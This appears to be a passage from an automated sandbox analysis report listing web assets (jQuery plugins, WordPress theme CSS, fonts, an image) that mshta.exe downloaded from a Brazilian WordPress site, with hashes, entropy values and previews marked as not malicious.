SSDEEP:	3:0SYWFFWlIYCZZ5RI5XwDKLRIHDfFcYFTfqzNsqcdjKIsWg6vYvn:0IFFN+56Z1FTizNspdPsWg6Av
MD5:	BC9F29EE3D832A38F914975FD3C14848
SHA1:	970307BD837AB5B3380A1BAE698091F2E080F5E3
SHA-256:	EE49572B06F53A4EA8DB5798B07507AA2D3E535FF443C27AE315177B0164FF42
SHA-512:	EBFADAD58232A738039F1D75523E3CB36928E4E2846A60CCA8B66AC7820666F7A6523AAF2622CD05B3102DCA4F61BAAA4EC7001C8A5D8D7B0D340E4976456370
Malicious:	false
IE Cache URL:	http://fonts.googleapis.com/css?family=Lato:900
Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 900;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\custom-script[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5333
Entropy (8bit):	5.251194517626103
Encrypted:	false
SSDEEP:	96:i7Xo1sX/me8vbi9uq5r+iM19dnFMoOsSyM4WtKNOk:SGsuvbi9odedXyM3tKgk
MD5:	739E27C21C55279E44DCF1C1967E8F5F
SHA1:	F95C101BABBBA485FE49C82991C8299C90D001D9
SHA-256:	611C66D42B9CC55CFA24BA8FC857B9ED01B78E2A5C2A954BC7DD70A889A7AD19
SHA-512:	1DE4C427F75F4F9E9EA3BA37EB697C5E768EBE403CE2E410872CD18C22DB60D4EE0D032D795C9BCA03CE793D84D23B68BA963BF4110D8537F7E2D29B1D5B809C
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Preview:	jQuery(document).ready(function(){..var...windowSelector = jQuery(window)..;...windowSelector.resize(function(){...jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });..}).trigger("resize");...jQuery('.cherry_media_parallax_1').fadeTo(0, 0);...})..$(function() {..var...menuWrap = $('.header .menu_wrap')..,.offsetArray = []..,.offsetValueArray = []..,._document = $(document)..,.currHash = ''..,.isAnim = false..,.isHomePage = $('body').hasClass('home')? true:false..;....//--------------------------- Menu navigation ---------------------------..$('#topnav > li', menuWrap).each(function(){...if($(this).hasClass('menu-item-type-custom')){....var newUrl = $('header .log

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.easing.1.3[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	3300
Entropy (8bit):	5.21640221299254
Encrypted:	false
SSDEEP:	96:daBwwfAxMF8qm9FUAm1Cal7yS06jfkOA/W50UdDiAAlZd:sO2AxMF8qm9Wdcal7yS06jfkOGW50Ud6
MD5:	3720B3CCB887382D0716A49CC52D7901
SHA1:	AEB99C65DFE7E6BA2931AFD762E53579FE372CCD
SHA-256:	605B6FE57753665BD450CCC691B2B32EB508F05D8CB9BD3747D8F37C808990B1
SHA-512:	B7F89F83B51132C5D66E59FEC1DA6793638360B6691151C54D9799E0B58FB2D9E722A48E3014520628EC0771C2BB9703CFE9676DADE5E9F9BA010C62701CCC44
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3
Preview:	jQuery.easing.jswing=jQuery.easing.swing;.jQuery.extend(jQuery.easing,{def:"easeOutQuad",swing:function(e,a,c,b,d){return jQuery.easing[jQuery.easing.def](e,a,c,b,d)},easeInQuad:function(e,a,c,b,d){return b(a/=d)a+c},easeOutQuad:function(e,a,c,b,d){return-b(a/=d)(a-2)+c},easeInOutQuad:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aa+c:-b/2(--a(a-2)-1)+c},easeInCubic:function(e,a,c,b,d){return b(a/=d)aa+c},easeOutCubic:function(e,a,c,b,d){return b((a=a/d-1)aa+1)+c},easeInOutCubic:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaa+c:.b/2((a-=2)aa+2)+c},easeInQuart:function(e,a,c,b,d){return b(a/=d)aaa+c},easeOutQuart:function(e,a,c,b,d){return-b((a=a/d-1)aaa-1)+c},easeInOutQuart:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaa+c:-b/2((a-=2)aaa-2)+c},easeInQuint:function(e,a,c,b,d){return b(a/=d)aaaa+c},easeOutQuint:function(e,a,c,b,d){return b((a=a/d-1)aaaa+1)+c},easeInOutQuint:function(e,a,c,b,d){return 1>(a/=d/2)?b/2aaaaa+c:b/2((a-=2)aaaa+2)+c}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.elastislide[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	6240
Entropy (8bit):	5.090536443525485
Encrypted:	false
SSDEEP:	96:zFWtrmc8bxAo69U8Rb93DCb/f+jrJ6Xj/vBQ61:LW3xgYMn/
MD5:	EAC02BD7783EDAB0F1A0DBEBB32AA8A7
SHA1:	D8D25DFF1DA53BE5A8D200D0BA59944C1FA7281D
SHA-256:	DADD36769DECA1A3720B875DE9624093AE6623DAEBFC5A13061E129C61DFEA24
SHA-512:	D1DD6D2F1CDB7EEEAA3396578038448A2337AB0EFACF884E624D459F1E9870A709C9A18D576327C62DEABB8363C643ED302E3CA4FAC3EAD2C7C82713E58F663B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1
Preview:	(function(j,c,l){c.fn.touchwipe=function(a){var b={min_move_x:20,min_move_y:20,wipeLeft:function(){},wipeRight:function(){},wipeUp:function(){},wipeDown:function(){},preventDefaultEvents:!0};a&&c.extend(b,a);this.each(function(){function a(){this.removeEventListener("touchmove",c);d=null;k=!1}function c(h){b.preventDefaultEvents&&h.preventDefault();if(k){var f=d-h.touches[0].pageX;h=e-h.touches[0].pageY;Math.abs(f)>=b.min_move_x?(a(),0<f?b.wipeLeft():b.wipeRight()):Math.abs(h)>=b.min_move_y&&(a(),.0<h?b.wipeDown():b.wipeUp())}}function f(a){1==a.touches.length&&(d=a.touches[0].pageX,e=a.touches[0].pageY,k=!0,this.addEventListener("touchmove",c,!1))}var d,e,k=!1;"ontouchstart"in document.documentElement&&this.addEventListener("touchstart",f,!1)});return this};c.elastislide=function(a,b){this.$el=c(b);this._init(a)};c.elastislide.defaults={speed:450,easing:"easeOutBack",imageW:190,margin:3,border:2,minItems:1,current:0,onClick:function(){return!1}};c.elastislide.prototype={_init:function

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.magnific-popup.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	20669
Entropy (8bit):	5.2808077876911295
Encrypted:	false
SSDEEP:	384:3ORjoixwByWeRZELR0oXnl0HFuG/76GIPGQHv5clO9sdG:3CZHEf6FuG/0um5cAQG
MD5:	588A4C7A711E01405E02B4E2F8E1B2D6
SHA1:	263D200778CB34026816AE5A7718C5AE4F6AEC49
SHA-256:	C9E8F0F8A438833EF971B7482991C681FFB7FB5BFF9B16CEADB22AD7C174A29E
SHA-512:	86DBD71D944B3F03F20A62E57E1CFA202D306E97102C6EB2EADE78D672E43227B1C6508B799AD88FB0D3516664CF4726D3E9C1119D5A05381B48A3912E34E688
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Preview:	/! Magnific Popup - v0.9.3 - 2013-07-16. http://dimsemenov.com/plugins/magnific-popup/.* Copyright (c) 2013 Dmitry Semenov; */.(function(e){var t,i,n,o,a,r,s,l="Close",c="BeforeClose",d="AfterClose",u="BeforeAppend",p="MarkupParse",f="Open",m="Change",g="mfp",v="."+g,h="mfp-ready",C="mfp-removing",y="mfp-prevent-close",w=function(){},b=!!window.jQuery,I=e(window),x=function(e,i){t.ev.on(g+e+v,i)},k=function(t,i,n,o){var a=document.createElement("div");return a.className="mfp-"+t,n&&(a.innerHTML=n),o?i&&i.appendChild(a):(a=e(a),i&&a.appendTo(i)),a},T=function(i,n){t.ev.triggerHandler(g+i,n),t.st.callbacks&&(i=i.charAt(0).toLowerCase()+i.slice(1),t.st.callbacks[i]&&t.st.callbacks[i].apply(t,e.isArray(n)?n:[n]))},E=function(){(t.st.focus?t.content.find(t.st.focus).eq(0):t.wrap).trigger("focus")},S=function(i){return i===s&&t.currTemplate.closeBtn\|\|(t.currTemplate.closeBtn=e(t.st.closeMarkup.replace("%title%",t.st.tClose)),s=i),t.currTemplate.closeBtn},P=function(){e.magnificPopup.instan

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\jquery.mobilemenu[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2074
Entropy (8bit):	5.0968137085902505
Encrypted:	false
SSDEEP:	48:MD00ieaw9PS+mQeavhBFxQDgaQEqMeDPs11Uix4gWl5aBn2vUys2O:6haw9PS+oenaDQEqMeDPuUG++2K2O
MD5:	77DDDC6C72834DC757EB755B46C00F8D
SHA1:	894745AF5CF26EB10DFE28F3BB0C6B2C7B0C286B
SHA-256:	C5F36FC1D0410B310F27E21BA0C948B9E6914F41C119D02C4629CA894D177A1E
SHA-512:	D13DE2DF355B214C25943E1859C595CBF51AF4854E94093B457B2C99DA66D9F9308DA8A94404F4240811B1A50BA3C2A28316E460964C3A5C0EDCC3B2F03161B3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Preview:	/*. jQuery Mobile Menu. * Turn unordered list menu into dropdown select menu. * version 1.0(31-OCT-2011). . Built on top of the jQuery library. * http://jquery.com. . Documentation. * http://github.com/mambows/mobilemenu. */.(function($){..$.fn.mobileMenu = function(options) {...var defaults = {.....defaultText: 'Navigate to...',.....className: 'select-menu',.....subMenuClass: 'sub-menu',.....subMenuDash: '–'.....},....settings = $.extend( defaults, options ),....el = $(this);....$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')....this.each(function(){....// ad class to submenu list....el.find('ul').addClass(settings.subMenuClass);.....// Create base menu....$('<select />',{'class':settings.className}).insertAfter(el);.....// Create default option....$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );.....// Create select option from menu...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\owl.theme.default.min[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1013
Entropy (8bit):	5.21364895278629
Encrypted:	false
SSDEEP:	24:0/emCtetORzuZiqMdhuzTqgfkPH2nouoKLn7tk8:uZo8WSZiqMAqgfW8L9d
MD5:	594B81805A98B267E47C70A8FAD30D9F
SHA1:	684D84EC40B305CA14EFC88C91F12972CB6342B4
SHA-256:	924B0DC630D1C5DFF9FA31AEAD9509775B1D476BFE0A5AC2977B2F11205A26AC
SHA-512:	B0C5ED30D2F5CD1CE894760A12E8CCD80A822D447D1760B8FF4E5C75BC638CB491BCC40872210F090668FBE9E4EE0A3706D4AE2BD91F6BFB3E6B87F88B9A4B93
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. /..owl-theme .owl-dots,.owl-theme .owl-nav{text-align:center;-webkit-tap-highlight-color:transparent}.owl-theme .owl-nav{margin-top:10px}.owl-theme .owl-nav [class=owl-]{color:#FFF;font-size:14px;margin:5px;padding:4px 7px;background:#D6D6D6;display:inline-block;cursor:pointer;border-radius:3px}.owl-theme .owl-nav [class*=owl-]:hover{background:#869791;color:#FFF;text-decoration:none}.owl-theme .owl-nav .disabled{opacity:.5;cursor:default}.owl-theme .owl-nav.disabled+.owl-dots{margin-top:10px}.owl-theme .owl-dots .owl-dot{display:inline-block;zoom:1}.owl-theme .owl-dots .owl-dot span{width:10px;height:10px;margin:5px 7px;background:#D6D6D6;display:block;-webkit-backface-visibility:visible;transition:opacity .2s ease;border-radius:30px}.owl-theme .owl-dots .owl-dot.active span,.owl-theme .owl-dots .owl-dot:hover span{backgr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\responsive[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	21945
Entropy (8bit):	4.998283618348646
Encrypted:	false
SSDEEP:	384:vDi+XnHtUrZKt+uSmu+c30r8SGCxGfGYb/0EUN0QT0z8lFLiFHM:LiOnHtUrZKtqOI0ISGCxGfGYb/0Ery0C
MD5:	56879E9EF909D5CF8DEF84297B5AC6B4
SHA1:	097D5726A7053C1E9E20FCFE6FFA771F2D6DE573
SHA-256:	8A1D0F12B448B5065CBE1E76F5D2DF0364E9E9A2CAE98E9419215CAD62FB1892
SHA-512:	E7ACA508BE1EB31411887C3DD64ABBC47AB39C3C217E924D89245A084404AF350C2B6693721BD06CF9CCF8DE263189BC2C80FD1C1E86A8D10147FBC27FF7770B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
Preview:	/!. Bootstrap Responsive v2.3.0. . Copyright 2012 Twitter, Inc. * Licensed under the Apache License v2.0. * http://www.apache.org/licenses/LICENSE-2.0. . Designed and built with all the love in the world @twitter by @mdo and @fat.. /..clearfix {. zoom: 1;.}..clearfix:before,..clearfix:after {. display: table;. content: "";. line-height: 0;.}..clearfix:after {. clear: both;.}..hide-text {. font: 0/0 a;. color: transparent;. text-shadow: none;. background-color: transparent;. border: 0;.}..input-block-level {. display: block;. width: 100%;. min-height: 30px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box;.}.@-ms-viewport {. width: device-width;.}..hidden {. display: none;. visibility: hidden;.}..visible-phone {. display: none !important;.}..visible-tablet {. display: none !important;.}..hidden-desktop {. display: none !important;.}..visible-desktop {. display: inherit !important;.}.@media (min-width: 768px) and (ma

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\scripts[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	14585
Entropy (8bit):	5.05967424474738
Encrypted:	false
SSDEEP:	384:Y0KR2j16xNN7FUx4fCauIC+V+oeBKdYYJfRscKvVJVw1Iv3S3OVKEkl9UQznC:Rrj16xNN7Cx4fj4+WVJ/v3ZVAC
MD5:	80F051B85C7CC301D20DC6C522C71814
SHA1:	D8344EEE926EBE2F35396F51CFA5614CB4307B40
SHA-256:	C6138C4B65AAFF6E46D51C26096FFFFADD202974003AD0F6D4475B45204BD0AB
SHA-512:	24BF9B3B18299B678273D028F81BB9B5816E2EB98402D6CD9ADAAEA755C56F6D1FC2E49B2F86248DFAE341E7127458DC0BD2F62C41DC020E16D251FD3E0262A2
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.0.3
Preview:	( function( $ ) {...'use strict';...if ( typeof wpcf7 === 'undefined' \|\| wpcf7 === null ) {...return;..}...wpcf7 = $.extend( {...cached: 0,...inputs: []..}, wpcf7 );...$( function() {...wpcf7.supportHtml5 = ( function() {....var features = {};....var input = document.createElement( 'input' );.....features.placeholder = 'placeholder' in input;.....var inputTypes = [ 'email', 'url', 'tel', 'number', 'range', 'date' ];.....$.each( inputTypes, function( index, value ) {.....input.setAttribute( 'type', value );.....features[ value ] = input.type !== 'text';....} );.....return features;...} )();....$( 'div.wpcf7 > form' ).each( function() {....var $form = $( this );....wpcf7.initForm( $form );.....if ( wpcf7.cached ) {.....wpcf7.refill( $form );....}...} );..} );...wpcf7.getId = function( form ) {...return parseInt( $( 'input[name="_wpcf7"]', form ).val(), 10 );..};...wpcf7.initForm = function( form ) {...var $form = $( form );....$form.submit( function( event ) {....if ( typeof window.FormD

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\scrollShowTime[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text
Category:	downloaded
Size (bytes):	1506
Entropy (8bit):	3.8120848042014237
Encrypted:	false
SSDEEP:	24:qzzEbPmDAFSbEigNMtDsmkKnxN8kKOx0STxHxKfZlJhYCpI0:+EKxJrk5kfdcfHkCB
MD5:	6B49B3E0D4EBC1DC791F05F077A218C4
SHA1:	710F5BA21E2E6BFAC71559BA8B3AB5AF5685A856
SHA-256:	A3A8314DF976D890F6389F1F9AA6B955A5069FBBF8EC6B546E6EDAF298B2DD93
SHA-512:	1A96C3D8D6514F95480C971A172A86046A2D534253EF0800A75D8F8834208F9954B9D0FAA344C9AA5CB2B796F520A5FD25FBDA9BA3F070AC5458E58681C38873
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Preview:	.(function($){. $.fn.scrollShowTime=function(o){. var getOption = {. correctionY: 100. , onShow: function(){}. }. $.extend(getOption, o);. . return this.each(function(){. var _this = $(this). ,topOffset. ,windowHeight. ,_visible=false. ,_win=$(window). ,_doc=$(document). ;. init();. function init(){. setTopOffset();. _this.addClass('hide_state');. addEventHandler();. }//end init. function setTopOffset(){. topOffset = _this.offset().top;. }. function addEventHandler(){. $(window).on('scroll',function(){. setTopOffset();. positionListener();. }).trigger('scroll');. . $(window).on('resize', function(){. setTopOffse

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\style[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	369
Entropy (8bit):	4.540020121615135
Encrypted:	false
SSDEEP:	6:U2LyinnK9NPF3SgcIdRVOlasFoybT4vF3Sg2OjC/ir7Ql3Q8sC:U2Llnn8PF3fnVO4sF1XMF32WiwC
MD5:	894A154E267382CF65B478B759115923
SHA1:	ECFFCAEAC680371DF912387314F648F2DA111E19
SHA-256:	875858A39A88A7E765F15CF95E6B8CCD5D647C5617F7241C8637959ECAA1508C
SHA-512:	02F39EB5B6C33DC76C6900644F58D69DAD08BE287409D23BA64963EA6105DF9ECE46128DD5A2731E5675E0DC7CA7ABE9485E8E5CB22ADE6303840ECCB2544FEC
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/style.css
Preview:	/--..Theme Name: theme51253..Theme URI: http://info.template-help.com/help/..Description: A theme for Wordpress 4.4.x..Author: Template_Help.com..Author URI: http://info.template-help.com/help/..Template: CherryFramework..Version: 3.1.5.--/../* ----------------------------------------..Please, You may put custom CSS here.---------------------------------------- */.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\style[2].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	523
Entropy (8bit):	4.974103937872525
Encrypted:	false
SSDEEP:	12:UunKwXaF3fnVnDF1XHXaF3ZXm6FgJF+pCGdj+YzWIhXCqrI5kgO0x:1KwSPDtSkQDCujIRD5kp0x
MD5:	725008F7D019079BD5FDF435862F0AF5
SHA1:	0DC4AF129ECEAEE15B583F6F458AD7BD74988C4D
SHA-256:	5239B049D3CE0714FAF43DBDB19E1D8ADC0722AC05962AAA73215A9F4D87E8D0
SHA-512:	EA73CD39491E07FA099CE2508575447B0120DD919CCEEF4AEB831D064F75480BFF20C6F866E6075E25DE5A35526AAB1FC8E7ED069F7B5FF999DF3EC8D28F1BDA
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/style.css
Preview:	/..Theme Name: cherry..Theme URI: //info.template-help.com/help/..Description: A theme for Wordpress 3.8.x..Author: Template_Help.com..Author URI: //info.template-help.com/help/..Version: 3.1.5.1..Tags: dark, light, white, black, gray, left-sidebar, right-sidebar, fixed-width, flexible-width, custom-menu, editor-style, featured-images, full-width-template, post-formats, rtl-language-support, sticky-post, theme-options, translation-ready..License:..License URI: http://..Text Domain: cherry./.@import "css/style.css";.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\superfish[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2913
Entropy (8bit):	5.1479046643148605
Encrypted:	false
SSDEEP:	48:uDmDV1xEm0TSDDdVVsIro4VmfYIy8G7HzjiYqcq6nQxzRqnICijh2eqicoj:uDmDOjKDdVpro4VmmjiYPq2ICQdcoj
MD5:	259022BDE29C49E9D273D33493BD7B01
SHA1:	16A4305C60037A05644EEF5BD7C1AFC5BBD5D74A
SHA-256:	6301E8E9AB12CACCBF4EB772E114D56F4BDF3A27875CDCAB57E8E8AF5E04CB5A
SHA-512:	9E627852C7F6AF6EFA7BB74A812875D5907A8EFCAFF761EA815A99281EE2076233103A701319637417B1FC923E27658DD7F701CCCBDA9F9B1C06A8644CE18A73
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
Preview:	(function(a){a.fn.superfish=function(f){var d=a.fn.superfish,e=d.c,g=a('<span class="'+e.arrowClass+'"> »</span>'),k=function(c){var b=a(this),d=j(b);("mouseenter"===c.type\|\|"focusin"===c.type)&&b.children("a").data("follow",!0);clearTimeout(d.sfTimer);b.showSuperfishUl().siblings().hideSuperfishUl()},l=function(c){var b=a(this),f=j(b),e=d.op,g=function(){e.retainPath=-1<a.inArray(b[0],e.$path);b.hideSuperfishUl();e.$path.length&&1>b.parents("li."+e.hoverClass).length&&(e.onIdle.call(),a.proxy(k,.e.$path,c)())};"mouseleave"!==c.type&&"focusout"!==c.type?g():(clearTimeout(f.sfTimer),f.sfTimer=setTimeout(g,e.delay));("mouseleave"===c.type\|\|"focusout"===c.type)&&b.children("a").data("follow",!1)},j=function(c){c.hasClass(e.menuClass)&&a.error("Superfish requires you to update to a version of hoverIntent that supports event-delegation, such as this one: https://github.com/joeldbirch/onHoverIntent");c=c.closest("."+e.menuClass)[0];d.op=d.o[c.serial];return c},m=function(c){var b=a(this

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\theme[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	87745
Entropy (8bit):	5.5982827947800144
Encrypted:	false
SSDEEP:	1536:BC7O2E2CzZOUWqTNWm3GJUWXTOhYijX6MAuKT+0/W2sqDYyUliBf21R+ab+gLSnr:q9j+K
MD5:	BB3B682DA2B43CE2AB6127EC0BB2F84E
SHA1:	B7734D0819DA9A80E1483A36357D06EB24332C25
SHA-256:	19BBB78D70DD6EE89FF91E26A422ADB69510E8FF83ACE800AD7E5D0F35F14509
SHA-512:	81E0791DFF8996258C773DAC76EECC3C3B40658B16F7A57E224139A0B65E7EDDFA5D5DF64DE010034823BF642270C968FDB3FE38D99FF7BAB1C19ED1751DF5E3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8
Preview:	.motopress-text-obj span{line-height:1em}.motopress-image-obj .motopress-image-obj-basic{max-width:100% !important;margin:0 !important;padding:0 !important;border:0}.motopress-image-slider-obj{line-height:normal;min-height:0}.motopress-image-slider-obj *{line-height:normal}.motopress-image-slider-obj .slides{list-style:none outside none;margin:0 !important;padding:0;line-height:normal}.motopress-image-slider-obj .slides li{margin:0;margin-left:0 !important;padding:0}.motopress-image-slider-obj .slides li:before,.motopress-image-slider-obj .slides li:after{content:none !important}.motopress-image-slider-obj .slides li img{margin:0;padding:0;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;border:0}.motopress-image-slider-obj .flex-control-nav{position:absolute !important;list-style:none outside none !important;margin:0 !important;padding:0 !important;line-height:normal;right:auto !important;bottom:-40px !important;text-align:center !important;z-index:auto !important}.motopre

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\up-arrow[1].png

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 31 x 19, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1370
Entropy (8bit):	6.548363017537382
Encrypted:	false
SSDEEP:	24:ka1he91WwylZ82lYSqMHiwe76ceVc7cxT3ouyJ3V8BGy0QcJLJgSApYg1:zqQinNuiF61q7uIJ30D07JVgtpYi
MD5:	DF0D428C42D964F07B5C2875B85AB1EC
SHA1:	42ACD8E7E0919A99D42F09A62CD0B5FC0CE59B43
SHA-256:	E50B8D2007404AA7FC5484E29160C652C61433EC2732C37B9FEAF0ECC60E45A0
SHA-512:	A973C4169AD4C9C74F392821E64C5FFB17A7A44FE0517B836409CB8C79EB9D296F6E9B6C420C66227D6E11C7211E327D370A4E9447E47D448B4947551AB6610B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/images/up-arrow.png
Preview:	.PNG........IHDR.............hl.B....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="xmp.did:02801174072068118DBBF50001D62B81" xmpMM:DocumentID="xmp.did:647017FE37C611E2B91CD562C5788E4E" xmpMM:InstanceID="xmp.iid:647017FD37C611E2B91CD562C5788E4E" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4265089B3F2FE211AC7CD87861E56C7E" stRef:documentID="xmp.did:02801174072068118DBBF50001D62B81"/> </rdf:Description> </rdf:RDF> </x:x

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\S6u8w4BMUTPHh30AXC-u[1].eot

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	Embedded OpenType (EOT), Lato Hairline family
Category:	downloaded
Size (bytes):	21906
Entropy (8bit):	7.967838538437944
Encrypted:	false
SSDEEP:	384:VFJHGuN6qSpebL2RIS+Xv4nRE0661wyGSD37OhAVT/VJqVL89X:VFTEqFbCOS+/cz1wyRD3+u/zqd8d
MD5:	AC3C05998D9A3A94292ADB42CA4402D0
SHA1:	F15C88C7820DACCFA39D9007E7BF98652D2DAA2C
SHA-256:	C27571B00544786FF1223F04E4254433CECB80A49DDC1605968FB8ED0FB2E46B
SHA-512:	30F0F74DB92E2D943D8994E6ED8E9E54CA47861AFCBC612D0002E4C97C0FF83E395FC258DC4C649283F9F8EF49A167A29BB4AC3840D0D7E072C4CCCF408119A3
Malicious:	false
IE Cache URL:	http://fonts.gstatic.com/s/lato/v23/S6u8w4BMUTPHh30AXC-u.eot
Preview:	.U...T............................LP'...J.............. ....@..y....................L.a.t.o. .H.a.i.r.l.i.n.e.....R.e.g.u.l.a.r...P.V.e.r.s.i.o.n. .1...1.0.4.;. .W.e.s.t.e.r.n.+.P.o.l.i.s.h. .o.p.e.n.s.o.u.r.c.e.....L.a.t.o.-.H.a.i.r.l.i.n.e.....BSGP...................`.=..>..50....`.W.hKr{z~"U:b,/.ezS..........-A.RC...x....E.57z.....%)..;".I^...s..N......!.....-..m."....Yb..qrS.a..N..B....~......m..X._.^.V.".2...3Q..qM.nl....U.7..M.D..j..9..C..]..X...L'.s..:...[.b....x>...6.5}_.;.......v...s.`.......E....&.nV..M.(iy..Mi1...(q...........s..L.H.'y..O..CL..y......S...E.#@.l..............X.....A....0".Ju./..#.......]....5o8I..\|.A...$...Q.qmE.m.q..@.Y...x..J4.$$.. ?...D...g.z..\fq...(o;LX.`U......J2Q..i..1....9......u....L.mSn.......t...d....).....[L7.0.}.A..E.m.P..F.i'h..........0..Z\...1.{.y..i..*...M@..M.6...h.ha`.`....!.H...K..y._.........t-..C..w.......Zi..P...\.<K...z4Q..\.....:jcU.......F.6.n.......F.>0@.a@.@.........\|.d=...Re..sG..=.= ....X@..G...p;...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\S6u9w4BMUTPHh50XSwiPHQ[1].eot

Download File

Process:	C:\Windows\System32\mshta.exe
